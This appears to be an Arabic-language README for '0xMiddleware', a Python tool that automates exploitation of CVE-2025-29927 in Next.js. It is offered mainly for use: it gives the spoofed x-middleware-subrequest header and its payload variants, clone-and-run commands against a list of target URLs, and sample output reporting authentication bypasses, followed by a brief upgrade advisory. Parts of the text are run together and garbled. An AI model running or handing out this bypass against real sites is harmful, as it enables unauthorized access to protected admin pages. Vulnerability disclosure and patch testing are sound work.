
CVE-2025-29927: Next.js Middleware Exploit
تعرض هذه الأداة وتقوم بأتمتة استغلال CVE-2025-29927، وهي ثغرة في Next.js تتيح للمهاجم تجاوز فحوصات الوسيط (مثل المصادقة) من خلال إساءة استخدام الترويسة الداخلية x-middleware-subrequest.
يستخدم Next.js داخليًا الترويسة x-middleware-subrequest لمنع الحلقات اللانهائية في الطلبات العودية. ومع ذلك، فإن هذه الترويسة غير محمية ضد التلاعب الخارجي في إصدارات معينة، مما يسمح لمهاجم خبيث بتزويرها.
من خلال تعيين هذه الترويسة يدويًا، يتم تجاوز منطق الوسيط المسؤول عن فرض المصادقة، أو إعادة التوجيه، أو التسجيل، أو التصفية تمامًا.
x-middleware-subrequest403 إلى 20015.2.314.2.2513.5.9next start مع الإخراج: standalone)next export)Normal Request:
GET /admin --> 403 Forbidden
Request with Header:
GET /admin --> 200 OK
x-middleware-subrequest: middleware
حتى إذا كان الهدف يتحقق من المصادقة عبر الوسيط، فإن هذا يتجاوزها تمامًا.
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
أنشئ ملفًا باسم urls.txt مع عنوان URL واحد في كل سطر:
https://target.com/admin
https://target.com/_next/static/asset.js
python3 0xMiddleware.py urls.txt
يرسل طلبات إلى كل عنوان URL مع ترويسة الاستغلال وبدونها
يستخدم عدة أشكال من الحمولات:
middlewarepages/_middlewaresrc/middlewareيسجل:
middleware_exploited.txt: للتجاوزات الحقيقية (403 → 200)middleware_response_diff.txt: عندما يختلف محتوى الاستجابةقم بترقية Next.js فورًا إلى إصدار آمن:
15.2.3+14.2.25+13.5.9+أيضًا:
getServerSideProps، JWT، الجلسات)[✔] Bypass successful: https://target.com/admin (payload: middleware)
[•] Response difference detected: https://target.com/login (payload: src/middleware)
[✔] Found 3 bypasses > middleware_exploited.txt
[•] Found 5 response diffs > middleware_response_diff.txt